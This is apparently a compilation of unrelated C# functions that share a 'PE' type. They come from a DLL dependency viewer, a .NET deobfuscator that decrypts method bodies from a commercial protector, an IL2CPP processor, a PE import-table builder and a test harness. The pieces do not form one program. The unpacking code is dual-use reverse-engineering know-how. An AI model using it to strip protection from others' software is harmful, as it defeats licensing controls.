{ continue; } if (NewTreeContexts.ContainsKey(AppInitDll)) { continue; } ImportContext AppInitImportModule = new ImportContext(); AppInitImportModule.PeFilePath = null; AppInitImportModule.PeProperties = null; AppInitImportModule.ModuleName = AppInitDll; AppInitImportModule.ApiSetModuleName = null; AppInitImportModule.Flags = 0; AppInitImportModule.ModuleLocation = ModuleSearchStrategy.AppInitDLL; Tuple <ModuleSearchStrategy, PE> ResolvedAppInitModule = BinaryCache.ResolveModule( this.Pe, AppInitDll, this.SxsEntriesCache, this.CustomSearchFolders, this.WorkingDirectory ); if (ResolvedAppInitModule.Item1 != ModuleSearchStrategy.NOT_FOUND) { AppInitImportModule.PeProperties = ResolvedAppInitModule.Item2; AppInitImportModule.PeFilePath = ResolvedAppInitModule.Item2.Filepath; } else { AppInitImportModule.Flags |= ModuleFlag.NotFound; } NewTreeContexts.Add(AppInitDll, AppInitImportModule); } }
public static void DumpManifest(PE Application, Action <IPrettyPrintable> Printer, int recursion_depth = 0) { PEManifest Manifest = new PEManifest(Application); Printer(Manifest); }
private void ConstructDependencyTree(ModuleTreeViewItem RootNode, PE CurrentPE, int RecursionLevel = 0) { // "Closured" variables (it 's a scope hack really). Dictionary <string, ImportContext> NewTreeContexts = new Dictionary <string, ImportContext>(); BackgroundWorker bw = new BackgroundWorker(); bw.WorkerReportsProgress = true; // useless here for now bw.DoWork += (sender, e) => { ProcessPe(NewTreeContexts, CurrentPE); }; bw.RunWorkerCompleted += (sender, e) => { TreeBuildingBehaviour.DependencyTreeBehaviour SettingTreeBehaviour = Dependencies.TreeBuildingBehaviour.GetGlobalBehaviour(); List <ModuleTreeViewItem> PeWithDummyEntries = new List <ModuleTreeViewItem>(); List <BacklogImport> PEProcessingBacklog = new List <BacklogImport>(); // Important ! // // This handler is executed in the STA (Single Thread Application) // which is authorized to manipulate UI elements. The BackgroundWorker is not. // foreach (ImportContext NewTreeContext in NewTreeContexts.Values) { ModuleTreeViewItem childTreeNode = new ModuleTreeViewItem(RootNode); DependencyNodeContext childTreeNodeContext = new DependencyNodeContext(); childTreeNodeContext.IsDummy = false; string ModuleName = NewTreeContext.ModuleName; string ModuleFilePath = NewTreeContext.PeFilePath; ModuleCacheKey ModuleKey = new ModuleCacheKey(ModuleName, ModuleFilePath); // Newly seen modules if (!this.ProcessedModulesCache.ContainsKey(ModuleKey)) { // Missing module "found" if ((NewTreeContext.PeFilePath == null) || !NativeFile.Exists(NewTreeContext.PeFilePath)) { if (NewTreeContext.IsApiSet) { this.ProcessedModulesCache[ModuleKey] = new ApiSetNotFoundModuleInfo(ModuleName, NewTreeContext.ApiSetModuleName); } else { this.ProcessedModulesCache[ModuleKey] = new NotFoundModuleInfo(ModuleName); } } else { if (NewTreeContext.IsApiSet) { var ApiSetContractModule = new DisplayModuleInfo(NewTreeContext.ApiSetModuleName, NewTreeContext.PeProperties, NewTreeContext.ModuleLocation, NewTreeContext.Flags); var NewModule = new ApiSetModuleInfo(NewTreeContext.ModuleName, ref ApiSetContractModule); this.ProcessedModulesCache[ModuleKey] = NewModule; if (SettingTreeBehaviour == TreeBuildingBehaviour.DependencyTreeBehaviour.Recursive) { PEProcessingBacklog.Add(new BacklogImport(childTreeNode, ApiSetContractModule.ModuleName)); } } else { var NewModule = new DisplayModuleInfo(NewTreeContext.ModuleName, NewTreeContext.PeProperties, NewTreeContext.ModuleLocation, NewTreeContext.Flags); this.ProcessedModulesCache[ModuleKey] = NewModule; switch (SettingTreeBehaviour) { case TreeBuildingBehaviour.DependencyTreeBehaviour.RecursiveOnlyOnDirectImports: if ((NewTreeContext.Flags & ModuleFlag.DelayLoad) == 0) { PEProcessingBacklog.Add(new BacklogImport(childTreeNode, NewModule.ModuleName)); } break; case TreeBuildingBehaviour.DependencyTreeBehaviour.Recursive: PEProcessingBacklog.Add(new BacklogImport(childTreeNode, NewModule.ModuleName)); break; } } } // add it to the module list this.ModulesList.AddModule(this.ProcessedModulesCache[ModuleKey]); } // Since we uniquely process PE, for thoses who have already been "seen", // we set a dummy entry in order to set the "[+]" icon next to the node. // The dll dependencies are actually resolved on user double-click action // We can't do the resolution in the same time as the tree construction since // it's asynchronous (we would have to wait for all the background to finish and // use another Async worker to resolve). if ((NewTreeContext.PeProperties != null) && (NewTreeContext.PeProperties.GetImports().Count > 0)) { ModuleTreeViewItem DummyEntry = new ModuleTreeViewItem(); DependencyNodeContext DummyContext = new DependencyNodeContext() { ModuleInfo = new WeakReference(new NotFoundModuleInfo("Dummy")), IsDummy = true }; DummyEntry.DataContext = DummyContext; DummyEntry.Header = "@Dummy : if you see this header, it's a bug."; DummyEntry.IsExpanded = false; childTreeNode.Items.Add(DummyEntry); childTreeNode.Expanded += ResolveDummyEntries; } // Add to tree view childTreeNodeContext.ModuleInfo = new WeakReference(this.ProcessedModulesCache[ModuleKey]); childTreeNode.DataContext = childTreeNodeContext; childTreeNode.Header = childTreeNode.GetTreeNodeHeaderName(Dependencies.Properties.Settings.Default.FullPath); RootNode.Items.Add(childTreeNode); } // Process next batch of dll imports if (SettingTreeBehaviour != TreeBuildingBehaviour.DependencyTreeBehaviour.ChildOnly) { foreach (var ImportNode in PEProcessingBacklog) { ConstructDependencyTree(ImportNode.Item1, ImportNode.Item2, RecursionLevel + 1); // warning : recursive call } } }; bw.RunWorkerAsync(); }
public static void DumpSxsEntries(PE Application, Action <IPrettyPrintable> Printer, int recursion_depth = 0) { SxsDependencies SxsDeps = new SxsDependencies(Application); Printer(SxsDeps); }
public bool decrypt(PE.PeImage peImage, ref Dictionary<uint, DumpedMethod> dumpedMethods) { this.peImage = peImage; uint offset = peImage.rvaToOffset(peImage.Cor20Header.metadataDirectory.virtualAddress + peImage.Cor20Header.metadataDirectory.size); if (!readCodeHeader(offset)) return false; var metadataTables = peImage.Cor20Header.createMetadataTables(); var methodDefTable = metadataTables.getMetadataType(PE.MetadataIndex.iMethodDef); if (methodDefTable.totalSize != codeHeader.methodDefElemSize) return false; var methodInfos = getMethodInfos(offset + 0x30 + codeHeader.totalCodeSize); offset = methodDefTable.fileOffset - methodDefTable.totalSize; foreach (var methodInfo in methodInfos) { offset += methodDefTable.totalSize; if (methodInfo.flags == 0 || methodInfo.localVarSigTok == 0) continue; uint rva = peImage.offsetReadUInt32(offset); peImage.writeUint16(rva, (ushort)methodInfo.flags); peImage.writeUint32(rva + 8, methodInfo.localVarSigTok); } dumpedMethods = new Dictionary<uint, DumpedMethod>(); offset = methodDefTable.fileOffset; for (int i = 0; i < methodInfos.Count; i++, offset += methodDefTable.totalSize) { var methodInfo = methodInfos[i]; if (methodInfo.codeOffs == 0) continue; var dm = new DumpedMethod(); dm.token = 0x06000001 + (uint)i; uint rva = peImage.offsetReadUInt32(offset); dm.mdImplFlags = peImage.offsetReadUInt16(offset + (uint)methodDefTable.fields[1].offset); dm.mdFlags = peImage.offsetReadUInt16(offset + (uint)methodDefTable.fields[2].offset); dm.mdName = peImage.offsetRead(offset + (uint)methodDefTable.fields[3].offset, methodDefTable.fields[3].size); dm.mdSignature = peImage.offsetRead(offset + (uint)methodDefTable.fields[4].offset, methodDefTable.fields[4].size); dm.mdParamList = peImage.offsetRead(offset + (uint)methodDefTable.fields[5].offset, methodDefTable.fields[5].size); dm.code = decrypter.decrypt(methodInfo); if ((peImage.readByte(rva) & 3) == 2) { dm.mhFlags = 2; dm.mhMaxStack = 8; dm.mhCodeSize = (uint)dm.code.Length; dm.mhLocalVarSigTok = 0; } else { dm.mhFlags = peImage.readUInt16(rva); dm.mhMaxStack = peImage.readUInt16(rva + 2); dm.mhCodeSize = (uint)dm.code.Length; dm.mhLocalVarSigTok = peImage.readUInt32(rva + 8); } dumpedMethods[dm.token] = dm; } return true; }
public static void DumpImports(PE Pe, Action <IPrettyPrintable> Printer, int recursion_depth = 0) { PEImports Imports = new PEImports(Pe); Printer(Imports); }
public NormalDecrypter(PE.PeImage peImage, CodeHeader codeHeader) : base(peImage, codeHeader) { }
public Instructions InstructionsFromMethodBody(TypeRef returnType, PE.MethodBody methodBody) { var ctxt = new TranslationContext(returnType, methodBody.Instructions, methodBody.ExceptionHandlingClauses); return InstructionsFromContext(ctxt); }
static void Main(string[] args) { String FileName = null; var ProgramArgs = ParseArgs(args); Action <IPrettyPrintable> ObjectPrinter = PrettyPrinter; // always the first call to make Phlib.InitializePhLib(); if (ProgramArgs.ContainsKey("file")) { FileName = ProgramArgs["file"]; } if (ProgramArgs.ContainsKey("-json")) { ObjectPrinter = JsonPrinter; } // no need to load PE for those commands if ((args.Length == 0) || ProgramArgs.ContainsKey("-h") || ProgramArgs.ContainsKey("-help")) { DumpUsage(); return; } if (ProgramArgs.ContainsKey("-knowndll")) { DumpKnownDlls(ObjectPrinter); return; } if (ProgramArgs.ContainsKey("-apisets")) { DumpApiSets(ObjectPrinter); return; } //Console.WriteLine("[-] Loading file {0:s} ", FileName); PE Pe = new PE(FileName); if (!Pe.Load()) { Console.Error.WriteLine("[x] Could not load file {0:s} as a PE", FileName); return; } if (ProgramArgs.ContainsKey("-manifest")) { DumpManifest(Pe, ObjectPrinter); } else if (ProgramArgs.ContainsKey("-sxsentries")) { DumpSxsEntries(Pe, ObjectPrinter); } else if (ProgramArgs.ContainsKey("-imports")) { DumpImports(Pe, ObjectPrinter); } else if (ProgramArgs.ContainsKey("-exports")) { DumpExports(Pe, ObjectPrinter); } else if (ProgramArgs.ContainsKey("-chain")) { DumpDependencyChain(Pe, ObjectPrinter); } else if (ProgramArgs.ContainsKey("-modules")) { DumpModules(Pe, ObjectPrinter); } }
static void patchDwords(PE.PeImage peImage, BinaryReader reader, int count) { for (int i = 0; i < count; i++) { uint rva = reader.ReadUInt32(); uint data = reader.ReadUInt32(); peImage.dotNetSafeWrite(rva, BitConverter.GetBytes(data)); } }
public override bool Within(PE.ExceptionHandlingClause ehc) { return Clauses.Contains(ehc) || base.Within(ehc); }
static void Main(string[] args) { Phlib.InitializePhLib(); var ProgramArgs = ParseArgs(args); String FileName = null; if (ProgramArgs.ContainsKey("file")) { FileName = ProgramArgs["file"]; } if (ProgramArgs.ContainsKey("-verbose")) { VerboseOutput = true; } // no need to load PE for those commands if ((args.Length == 0) || ProgramArgs.ContainsKey("-h") || ProgramArgs.ContainsKey("-help")) { DumpUsage(); return; } if (ProgramArgs.ContainsKey("-knowndll")) { DumpKnownDlls(); return; } if (ProgramArgs.ContainsKey("-apisets")) { DumpApiSets(); return; } VerboseWriteLine("[-] Loading file {0:s} ", FileName); PE Pe = new PE(FileName); if (!Pe.Load()) { Console.Error.WriteLine("[x] Could not load file {0:s} as a PE", FileName); return; } if (ProgramArgs.ContainsKey("-manifest")) { DumpManifest(Pe); } if (ProgramArgs.ContainsKey("-sxsentries")) { DumpSxsEntries(Pe); } if (ProgramArgs.ContainsKey("-imports")) { DumpImports(Pe); } if (ProgramArgs.ContainsKey("-exports")) { DumpExports(Pe); } }
public NtApiSet(PE ApiSetSchemaDll) { Schema = ApiSetSchemaDll.GetApiSetSchema(); }
public static List <(TypeDefinition type, List <CppMethodData> methods)> ProcessAssemblyTypes(Il2CppMetadata metadata, PE theDll, Il2CppImageDefinition imageDef) { var firstTypeDefinition = SharedState.TypeDefsByIndex[imageDef.firstTypeIndex]; var currentAssembly = firstTypeDefinition.Module.Assembly; InjectCustomAttributes(currentAssembly); //Ensure type directory exists if (!Program.CommandLineOptions.SkipMetadataTextFiles && !Program.CommandLineOptions.SkipAnalysis) { Directory.CreateDirectory(Path.Combine(Path.GetFullPath("cpp2il_out"), "types", currentAssembly.Name.Name)); } var lastTypeIndex = imageDef.firstTypeIndex + imageDef.typeCount; var methods = new List <(TypeDefinition type, List <CppMethodData> methods)>(); for (var index = imageDef.firstTypeIndex; index < lastTypeIndex; index++) { var typeDef = metadata.typeDefs[index]; var typeDefinition = SharedState.TypeDefsByIndex[index]; SharedState.MonoToCppTypeDefs[typeDefinition] = typeDef; methods.Add((type: typeDefinition, methods: ProcessTypeContents(metadata, theDll, typeDef, typeDefinition, imageDef))); } return(methods); }
public bool decrypt(PE.PeImage peImage, ISimpleDeobfuscator simpleDeobfuscator, ref Dictionary<uint, DumpedMethod> dumpedMethods) { if (encryptedResource.Method == null) return false; encryptedResource.init(simpleDeobfuscator); if (!encryptedResource.FoundResource) return false; var methodsData = encryptedResource.decrypt(); bool hooksJitter = findDnrCompileMethod(encryptedResource.Method.DeclaringType) != null; long xorKey = getXorKey(); if (xorKey != 0) { // DNR 4.3, 4.4 var stream = new MemoryStream(methodsData); var reader = new BinaryReader(stream); var writer = new BinaryWriter(stream); int count = methodsData.Length / 8; for (int i = 0; i < count; i++) { long val = reader.ReadInt64(); val ^= xorKey; stream.Position -= 8; writer.Write(val); } } var methodsDataReader = new BinaryReader(new MemoryStream(methodsData)); int patchCount = methodsDataReader.ReadInt32(); int mode = methodsDataReader.ReadInt32(); int tmp = methodsDataReader.ReadInt32(); methodsDataReader.BaseStream.Position -= 4; if ((tmp & 0xFF000000) == 0x06000000) { // It's method token + rva. DNR 3.7.0.3 (and earlier?) - 3.9.0.1 methodsDataReader.BaseStream.Position += 8L * patchCount; patchCount = methodsDataReader.ReadInt32(); mode = methodsDataReader.ReadInt32(); patchDwords(peImage, methodsDataReader, patchCount); while (methodsDataReader.BaseStream.Position < methodsData.Length - 1) { uint token = methodsDataReader.ReadUInt32(); int numDwords = methodsDataReader.ReadInt32(); patchDwords(peImage, methodsDataReader, numDwords / 2); } } else if (!hooksJitter || mode == 1) { // DNR 3.9.8.0, 4.0, 4.1, 4.2, 4.3, 4.4 patchDwords(peImage, methodsDataReader, patchCount); while (methodsDataReader.BaseStream.Position < methodsData.Length - 1) { uint rva = methodsDataReader.ReadUInt32(); uint token = methodsDataReader.ReadUInt32(); // token, unknown, or index int size = methodsDataReader.ReadInt32(); if (size > 0) peImage.dotNetSafeWrite(rva, methodsDataReader.ReadBytes(size)); } } else { // DNR 4.0 - 4.4 (jitter is hooked) var metadataTables = peImage.Cor20Header.createMetadataTables(); var methodDef = metadataTables.getMetadataType(PE.MetadataIndex.iMethodDef); var rvaToIndex = new Dictionary<uint, int>((int)methodDef.rows); uint offset = methodDef.fileOffset; for (int i = 0; i < methodDef.rows; i++) { uint rva = peImage.offsetReadUInt32(offset); offset += methodDef.totalSize; if (rva == 0) continue; if ((peImage.readByte(rva) & 3) == 2) rva++; else rva += (uint)(4 * (peImage.readByte(rva + 1) >> 4)); rvaToIndex[rva] = i; } patchDwords(peImage, methodsDataReader, patchCount); int count = methodsDataReader.ReadInt32(); dumpedMethods = new Dictionary<uint, DumpedMethod>(); bool foundNativeCode = false; while (methodsDataReader.BaseStream.Position < methodsData.Length - 1) { uint rva = methodsDataReader.ReadUInt32(); uint index = methodsDataReader.ReadUInt32(); bool isNativeCode = index >= 0x70000000; int size = methodsDataReader.ReadInt32(); var methodData = methodsDataReader.ReadBytes(size); int methodIndex; if (!rvaToIndex.TryGetValue(rva, out methodIndex)) { Log.w("Could not find method having code RVA {0:X8}", rva); continue; } if (isNativeCode) { if (!foundNativeCode) { foundNativeCode = true; Log.w("Found native code. Assembly won't run."); } //TODO: Convert to CIL code Log.v("Found native code. Ignoring it for now... Assembly won't run. token: {0:X8}", 0x06000001 + methodIndex); // Convert return true / false methods. The others are converted to // throw 0xDEADCODE. if (isCode(nativeLdci4, methodData)) { uint val = BitConverter.ToUInt32(methodData, 4); methodData = new byte[] { 0x20, 0, 0, 0, 0, 0x2A }; methodData[1] = (byte)val; methodData[2] = (byte)(val >> 8); methodData[3] = (byte)(val >> 16); methodData[4] = (byte)(val >> 24); } else if (isCode(nativeLdci4_0, methodData)) { methodData = new byte[] { 0x16, 0x2A }; } else methodData = new byte[] { 0x20, 0xDE, 0xC0, 0xAD, 0xDE, 0x7A }; } var dm = new DumpedMethod(); dm.token = (uint)(0x06000001 + methodIndex); dm.code = methodData; offset = methodDef.fileOffset + (uint)(methodIndex * methodDef.totalSize); rva = peImage.offsetReadUInt32(offset); dm.mdImplFlags = peImage.offsetReadUInt16(offset + (uint)methodDef.fields[1].offset); dm.mdFlags = peImage.offsetReadUInt16(offset + (uint)methodDef.fields[2].offset); dm.mdName = peImage.offsetRead(offset + (uint)methodDef.fields[3].offset, methodDef.fields[3].size); dm.mdSignature = peImage.offsetRead(offset + (uint)methodDef.fields[4].offset, methodDef.fields[4].size); dm.mdParamList = peImage.offsetRead(offset + (uint)methodDef.fields[5].offset, methodDef.fields[5].size); if ((peImage.readByte(rva) & 3) == 2) { dm.mhFlags = 2; dm.mhMaxStack = 8; dm.mhCodeSize = (uint)dm.code.Length; dm.mhLocalVarSigTok = 0; } else { dm.mhFlags = peImage.readUInt16(rva); dm.mhMaxStack = peImage.readUInt16(rva + 2); dm.mhCodeSize = (uint)dm.code.Length; dm.mhLocalVarSigTok = peImage.readUInt32(rva + 8); } dumpedMethods[dm.token] = dm; } } return true; }
public override void Build() { if (_table == null || _table.Count == 0) { return; } _blob = new BuildBlob(); _iatBlob = new BuildBlob(); // Calculate int lookupTableSize = 0; int hintNameTableSize = 0; int lookupEntrySize = PE.Is32Bits ? 4 : 8; for (int i = 0; i < _table.Count; i++) { var module = _table[i]; for (int j = 0; j < module.Count; j++) { var entry = module[j]; lookupTableSize += lookupEntrySize; if (!string.IsNullOrEmpty(entry.Name)) { hintNameTableSize += 2; // hint hintNameTableSize += entry.Name.Length + 1; } } lookupTableSize += lookupEntrySize; // null } int iatPos = 0; int lookupTablePos = (_table.Count + 1) * 20; // header + null int hintNameTablePos = lookupTablePos + lookupTableSize; int dllNamePos = hintNameTablePos + hintNameTableSize; // Write int headerPos = 0; for (int i = 0; i < _table.Count; i++) { var module = _table[i]; // Header PE.Fixups.Add(new WriteRVAFixup(_blob, headerPos, lookupTablePos)); _blob.Write(ref headerPos, (uint)0); // ImportLookupTableRVA _blob.Write(ref headerPos, (uint)0); // TimeDateStamp _blob.Write(ref headerPos, (int)module.ForwarderChain); // ForwarderChain PE.Fixups.Add(new WriteRVAFixup(_blob, headerPos, dllNamePos)); _blob.Write(ref headerPos, (uint)0); // Name PE.Fixups.Add(new WriteRVAFixup(_blob, _iatBlob, headerPos, iatPos)); _blob.Write(ref headerPos, (uint)0); // ImportAddressTableRVA // DllName string dllName = (module.DllName ?? "") + '\0'; _blob.Write(ref dllNamePos, dllName, Encoding.ASCII); // ImportLookupTable / ImportAddressTable for (int j = 0; j < module.Count; j++) { var entry = module[j]; if (PE.Is32Bits) { if (!string.IsNullOrEmpty(entry.Name)) { // Import by name. PE.Fixups.Add( new WriteHintNameRVAFixup( _blob, _iatBlob, lookupTablePos, iatPos, hintNameTablePos)); _blob.Write(ref lookupTablePos, (uint)0); _iatBlob.Write(ref iatPos, (uint)0); // Hint/Name _blob.Write(ref hintNameTablePos, (ushort)entry.Ordinal); string name = entry.Name + '\0'; _blob.Write(ref hintNameTablePos, name, Encoding.ASCII); } else { // Import by ordinal. uint ordinal = (uint)entry.Ordinal | 0x80000000; _blob.Write(ref lookupTablePos, (uint)ordinal); _iatBlob.Write(ref iatPos, (uint)ordinal); } } else { if (!string.IsNullOrEmpty(entry.Name)) { // Import by name. PE.Fixups.Add( new WriteHintNameRVAFixup( _blob, _iatBlob, lookupTablePos, iatPos, hintNameTablePos)); _blob.Write(ref lookupTablePos, (ulong)0); _iatBlob.Write(ref iatPos, (ulong)0); // Hint/Name _blob.Write(ref hintNameTablePos, (ushort)entry.Ordinal); string name = entry.Name + '\0'; _blob.Write(ref hintNameTablePos, name, Encoding.ASCII); } else { // Import by ordinal. ulong ordinal = (uint)entry.Ordinal | 0x8000000000000000; _blob.Write(ref lookupTablePos, (ulong)ordinal); _iatBlob.Write(ref iatPos, (ulong)ordinal); } } } if (PE.Is32Bits) { // Null ImportLookupTable / ImportAddressTable _blob.Write(ref lookupTablePos, 0, 4); _iatBlob.Write(ref iatPos, 0, 4); } else { // Null ImportLookupTable / ImportAddressTable _blob.Write(ref lookupTablePos, 0, 8); _iatBlob.Write(ref iatPos, 0, 8); } } // Null header _blob.Write(ref headerPos, 0, 20); // Set data directories PE.Fixups.Add( new PEBuilder.SetDataDirectoryFromBlobRVAFixup( DataDirectories.ImportTable, _blob)); PE.Fixups.Add( new PEBuilder.SetDataDirectoryFromBlobRVAFixup( DataDirectories.IAT, _iatBlob)); // Add _blobs BuildSection section = PE.GetSection(_sectionName); section.Blobs.Add(_blob, _blobPriority); BuildSection iatSection = PE.GetSection(_iatSectionName); iatSection.Blobs.Add(_iatBlob, _iatBlobPriority); }
public MethodDef (IImSeq<Annotation> annotations, ISeq<CustomAttribute> customAttributes, string name, bool isStatic, IImSeq<ParameterTypeDef> typeParameters, IImSeq<ParameterOrLocalOrResult> valueParameters, ParameterOrLocalOrResult result, MethodStyle methodStyle, bool hasNewSlot, MethodCodeFlavor codeFlavor, bool isSyncronized, bool noInlining, bool isInitLocals, IImSeq<ParameterOrLocalOrResult> locals, PE.MethodBody methodBody) : base(annotations, customAttributes, name, isStatic) { TypeParameters = typeParameters ?? Constants.EmptyParameterTypeDefs; ValueParameters = valueParameters ?? Constants.EmptyParameterOrLocals; Result = result; this.methodStyle = methodStyle; HasNewSlot = hasNewSlot; CodeFlavor = codeFlavor; var noBody = methodStyle == MethodStyle.Abstract || CodeFlavor != MethodCodeFlavor.Managed; IsSyncronized = isSyncronized; NoInlining = noInlining; IsInitLocals = isInitLocals; if (noBody && locals != null && locals.Count > 0) throw new InvalidOperationException("unexpected locals in method"); Locals = locals ?? Constants.EmptyParameterOrLocals; if (noBody && methodBody != null) throw new InvalidOperationException("unexpected instructions in extern method definition"); if (!noBody && methodBody == null) throw new InvalidOperationException("missing instructions in method definition"); MethodBody = methodBody; }
public override void Build() { if (_info == null) { return; } var _blob = new BuildBlob(); int pos = 0; if (PE.Is32Bits) { _blob.Write(ref pos, (int)_info.Characteristics); _blob.Write(ref pos, (int)_info.TimeDateStamp.To_time_t()); _blob.Write(ref pos, (short)_info.MajorVersion); _blob.Write(ref pos, (short)_info.MinorVersion); _blob.Write(ref pos, (uint)_info.GlobalFlagsClear); _blob.Write(ref pos, (uint)_info.GlobalFlagsSet); _blob.Write(ref pos, (int)_info.CriticalSectionDefaultTimeout); _blob.Write(ref pos, (int)_info.DeCommitFreeBlockThreshold); _blob.Write(ref pos, (int)_info.DeCommitTotalFreeThreshold); _blob.Write(ref pos, (uint)_info.LockPrefixTable); _blob.Write(ref pos, (int)_info.MaximumAllocationSize); _blob.Write(ref pos, (int)_info.VirtualMemoryThreshold); _blob.Write(ref pos, (int)_info.ProcessHeapFlags); _blob.Write(ref pos, (uint)_info.ProcessAffinityMask); _blob.Write(ref pos, (short)_info.CSDVersion); _blob.Write(ref pos, (short)_info.Reserved1); _blob.Write(ref pos, (uint)_info.EditList); _blob.Write(ref pos, (uint)_info.SecurityCookie); _blob.Write(ref pos, (uint)_info.SEHandlerTable); _blob.Write(ref pos, (uint)_info.SEHandlerCount); } else { _blob.Write(ref pos, (int)_info.Characteristics); _blob.Write(ref pos, (int)_info.TimeDateStamp.To_time_t()); _blob.Write(ref pos, (short)_info.MajorVersion); _blob.Write(ref pos, (short)_info.MinorVersion); _blob.Write(ref pos, (uint)_info.GlobalFlagsClear); _blob.Write(ref pos, (uint)_info.GlobalFlagsSet); _blob.Write(ref pos, (int)_info.CriticalSectionDefaultTimeout); _blob.Write(ref pos, (long)_info.DeCommitFreeBlockThreshold); _blob.Write(ref pos, (long)_info.DeCommitTotalFreeThreshold); _blob.Write(ref pos, (ulong)_info.LockPrefixTable); _blob.Write(ref pos, (long)_info.MaximumAllocationSize); _blob.Write(ref pos, (long)_info.VirtualMemoryThreshold); _blob.Write(ref pos, (ulong)_info.ProcessAffinityMask); _blob.Write(ref pos, (int)_info.ProcessHeapFlags); _blob.Write(ref pos, (short)_info.CSDVersion); _blob.Write(ref pos, (short)_info.Reserved1); _blob.Write(ref pos, (ulong)_info.EditList); _blob.Write(ref pos, (ulong)_info.SecurityCookie); _blob.Write(ref pos, (ulong)_info.SEHandlerTable); _blob.Write(ref pos, (ulong)_info.SEHandlerCount); } // Set data directories // For compatibility with Windows XP and earlier versions of Windows, // the size must be 64 for x86 images. PE.Fixups.Add( new PEBuilder.SetDataDirectoryFromBlobRVAFixup( DataDirectories.LoadConfigTable, _blob, 0, 64)); // Add _blobs BuildSection section = PE.GetSection(_sectionName); section.Blobs.Add(_blob, _blobPriority); }
private void Verify( IBinarySkimmer skimmer, IEnumerable <string> additionalTestFiles, bool useDefaultPolicy, bool expectToPass) { var targets = new List <string>(); string ruleName = skimmer.GetType().Name; string testFilesDirectory = ruleName; testFilesDirectory = Path.Combine(Environment.CurrentDirectory, "FunctionalTestsData", testFilesDirectory); testFilesDirectory = Path.Combine(testFilesDirectory, expectToPass ? "Pass" : "Fail"); Assert.True(Directory.Exists(testFilesDirectory)); foreach (string target in Directory.GetFiles(testFilesDirectory, "*", SearchOption.AllDirectories)) { if (AnalyzeCommand.ValidAnalysisFileExtensions.Contains(Path.GetExtension(target))) { targets.Add(target); } } if (additionalTestFiles != null) { foreach (string additionalTestFile in additionalTestFiles) { targets.Add(additionalTestFile); } } var context = new BinaryAnalyzerContext(); var logger = new TestMessageLogger(); context.Logger = logger; PropertyBag policy = null; if (useDefaultPolicy) { policy = new PropertyBag(); } context.Policy = policy; skimmer.Initialize(context); foreach (string target in targets) { PE pe = new PE(target); if (!pe.IsPEFile) { continue; } context = AnalyzeCommand.CreateContext(logger, policy, target); context.Rule = skimmer; string reasonForNotAnalyzing; if (skimmer.CanAnalyze(context, out reasonForNotAnalyzing) != AnalysisApplicability.ApplicableToSpecifiedTarget) { continue; } skimmer.Analyze(context); } HashSet <string> expected = expectToPass ? logger.PassTargets : logger.FailTargets; HashSet <string> other = expectToPass ? logger.FailTargets : logger.PassTargets; string expectedText = expectToPass ? "success" : "failure"; string actualText = expectToPass ? "failed" : "succeeded"; var sb = new StringBuilder(); foreach (string target in targets) { if (expected.Contains(target)) { expected.Remove(target); continue; } bool missingEntirely = !other.Contains(target); if (missingEntirely) { sb.AppendLine("Expected '" + ruleName + "' " + expectedText + " but saw no result at all for file: " + Path.GetFileName(target)); } else { other.Remove(target); sb.AppendLine("Expected '" + ruleName + "' " + expectedText + " but check " + actualText + " for: " + Path.GetFileName(target)); } } if (sb.Length > 0) { _testOutputHelper.WriteLine(sb.ToString()); } Assert.Equal(0, sb.Length); Assert.Equal(0, expected.Count); Assert.Equal(0, other.Count); }
public static void DumpExports(PE Pe, Action <IPrettyPrintable> Printer) { PEExports Exports = new PEExports(Pe); Printer(Exports); }